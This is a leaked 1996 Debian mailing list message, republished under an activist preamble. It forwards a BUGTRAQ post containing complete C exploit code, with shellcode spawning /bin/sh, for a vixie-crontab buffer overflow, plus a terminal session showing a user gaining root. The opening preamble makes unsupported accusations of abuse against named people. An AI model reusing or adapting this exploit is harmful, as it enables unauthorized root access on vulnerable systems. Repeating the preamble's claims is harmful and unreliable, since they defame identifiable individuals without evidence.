The debian-private mailing list leak, part 1. Volunteers have complained about Blackmail. Lynchings. Character assassination. Defamation. Cyberbullying. Volunteers who gave many years of their lives are picked out at random for cruel social experiments. The former DPL's girlfriend Molly de Blanc is given volunteers to experiment on for her crazy talks. These volunteers never consented to be used like lab rats. We don't either. debian-private can no longer be a safe space for the cabal. Let these monsters have nowhere to hide. Volunteers are not disposable. We stand with the victims.
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vixie-crontab for redhat linux (fwd) [ And debian! ]

[joey@kite] ~>id
uid=500(joey) gid=500(joey) 
groups=500(joey),20(dialout),24(cdrom),26(tape),100(users),518(pub),520(network)
[joey@kite] ~>cc cron.c
[joey@kite] ~>a.out
Using offset of esp + -1240 (bffff554)
Writing to ./Window
bash# id
uid=500(joey) gid=500(joey) euid=0(root)
groups=500(joey),20(dialout),24(cdrom),26(tape),100(users),518(pub),520(network)

I hope this can be fixed ASAP.

Is there a better place to forward security problems like these? Should
they be forwarded at all?

---------- Forwarded message ----------
Date: Sun, 15 Dec 1996 19:25:53 -0500
From: "Dave G." <daveg@escape.com>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
Subject: vixie-crontab for redhat linux

/* vixie crontab buffer overflow for RedHat Linux
 *
 * I dont think too many people know that redhat uses vixie crontab.
 * I didn't find this, just exploited it.
 *
 *
 * Dave G.
 * <daveg@escape.com>
 * http://www.escape.com/~daveg
 *
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define DEFAULT_OFFSET          -1240
#define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE              "./Window"

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   int fd;
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";



/*
 * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
 * a '=' character appears below
 */


   int i;
   int ofs = DEFAULT_OFFSET;

   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);
   else if (argc > 2) {
      fprintf(stderr, "egg [offset]\n");
      exit(-1);
   }
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (878/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr++ = '=';
   *ptr++ = 'X';
   *ptr++ = '\n';
   *ptr = 0;
   printf("Writing to %s\n", HAPPY_FILE);

   fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
   write (fd, buff, strlen(buff));

   close(fd);

   execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
   /* Successful completion */
   exit(0);
}



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